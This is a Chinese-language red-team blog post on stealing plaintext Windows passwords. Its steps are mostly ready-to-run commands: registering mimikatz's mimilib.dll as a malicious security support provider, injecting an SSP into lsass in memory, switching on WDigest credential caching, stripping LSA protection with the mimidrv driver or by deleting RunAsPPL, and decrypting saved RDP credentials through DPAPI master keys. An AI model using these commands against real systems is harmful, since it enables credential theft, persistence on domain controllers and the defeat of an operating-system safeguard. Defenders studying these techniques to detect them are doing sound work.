前言:
提桶跑路一个月了,平躺是真滴舒服,心宽体胖。后面一段时间直到hw结束,我打算把主要精力都放在免杀上面,不会点C真的寸步难行,或者就只能从go下手了
0x01 SSP记录明文密码
SSP(Security Support Provider)是一个用于实现身份验证的DLL文件,主要用于Windows系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)
当操作系统启动时SSP会被加载到lsass.exe进程中,由于lsass可通过注册表进行扩展,导致了在操作系统启动时,可以加载一个自定义的dll,来实现想要执行的操作。
当我们在域环境内对LSA进行拓展自定义DLL文件时(替换某个ssp为恶意ssp,或者将ssp文件上传,修改lsa注册表使之启动时加载),就能够获取到lsass.exe进程中的明文密码。
适用场景:
适用于win8/win2012后无法获取明文密码,或者维持域控、在域控上抓用户密码
利用过程:
在mimikatz中有32和64两个版本,安装包里分别都带有不同位数的mimilib.dll。
- 复制mimilib.dll放到System32路径下,注意版本对应32或64位系统
- 修改
hklm\system\currentcontrolset\control\lsa
注册表中Security Packages
项的值来加载新的安全支持提供程序mimilib.dll:reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f
- 锁屏:
rundll32.exe user32.dll,LockWorkStation
当用户或域用户登录时,在c:\windows\system32生成文件kiwissp.log,记录登录用户的明文密码。
或者我们可以直接利用mimikatz向lsass注入ssp,此技术不需要将mimilib.dll放入磁盘或创建注册表项,不需要重启也可以获取账户信息:
缺点:重启后失效
privilege::debug
misc::memssp
等用户输入密码登录后,将在System32中创建一个日志文件记录明文密码:
C:\Windows\System32\mimilsa.log
Invoke-Mimikatz.ps1:
Import-Module .\Invoke-Mimikatz.ps1 //导入命令
Invoke-Mimikatz -Command "misc::memssp" //不需要重启获取
记录修改密码:reg add "hklm\System\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0rassfm\0mimilib" /f
当系统发生修改密码的事件时,将生成一个日志文件记录用户新修改的明文密码:C:\Windows\System32\kiwifilter.log
0x02 修改WDigest获取明文密码:
Wdigest是lsass的一种SSP程序,主要用在Win2003的LDAP和基于Web的身份验证。它利用HTTP和简单身份验证安全层 (SASL) 交换进行身份验证。但这个认证机制会在内存中以加密的形式保存win的明文密码。
常用的mimikatz的sekurlsa::logonpasswords命令,就是依靠Wdigest来获取明文密码。
在win2008版本和Windows Server 2012 R2之前的WDigest是默认开启的。
利用方法:通过操作对应的注册表来开启WDigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
打了补丁或2008之后的主机会多一个UseLogonCredential项
当该项的值为1则记录明文密码,0则为不记录明文密码
最后利用mimikatz获取明文密码:
privilege::debug
sekurlsa::logonpasswords
0x03 绕过LSA保护:
微软在 Windows 8.1、Windows Server 2012 R2添加了 LSA 保护策略,以防止不受保护的进程对lsass.exe读取内存和代码注入。
查看是否开启LSA进程保护:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 1 /f
当RunAsPPL键值为1就表示开启了LSA保护,此时无法通过mimikatz获取明文密码:
这里如果想要获取明文密码有两种方法:
1)对注册表的RunAsPPL键值进行删除:
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f
缺点:需要重启后才能生效
2)利用mimikatz绕过LSA保护:
运行mimikatz,获取debug权限,将mimidrv.sys驱动加载进去,使用该驱动绕过lsa保护:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::memssp
sekurlsa::logonpasswords
0x04 破解RDP保存的凭证:
当通过rdp服务登录远程桌面时,如果选择了保存凭证,会在本地生成一个凭证文件,我们只要破解这个凭证里面的数据即可获得明文密码。
查看历史RDP记录:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
可以看到登录主机对应的ip、凭证名和用户名信息:
Windows保存RDP凭据的位置:%userprofile%\AppData\Local\Microsoft\Credentials
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
以CS上线后调用mimikatz为例:
- 利用 mimikatz 获取 guidMasterKey(凭据的GUID):
mimikatz privilege::debug
mimikatz dpapi::cred /in:C:\Users\book4yi\AppData\Local\Microsoft\Credentials\E9BD6F76581557D2A266AF679E808EAE
- 查找对应的 Masterkey:
mimikatz sekurlsa::dpapi
- 使用Masterkey解密凭证文件获取密码明文:
mimikatz dpapi::cred /in:C:\Users\book4yi\AppData\Local\Microsoft\Credentials\E9BD6F76581557D2A266AF679E808EAE /masterkey:c1889997c4a1a83f858f4cffccfd36386e769a9857a86c961d2ebb45325b40fceb45dbb8c799bb788981f1ef9cecc58779e0c0938d99074a38931de0528f3abe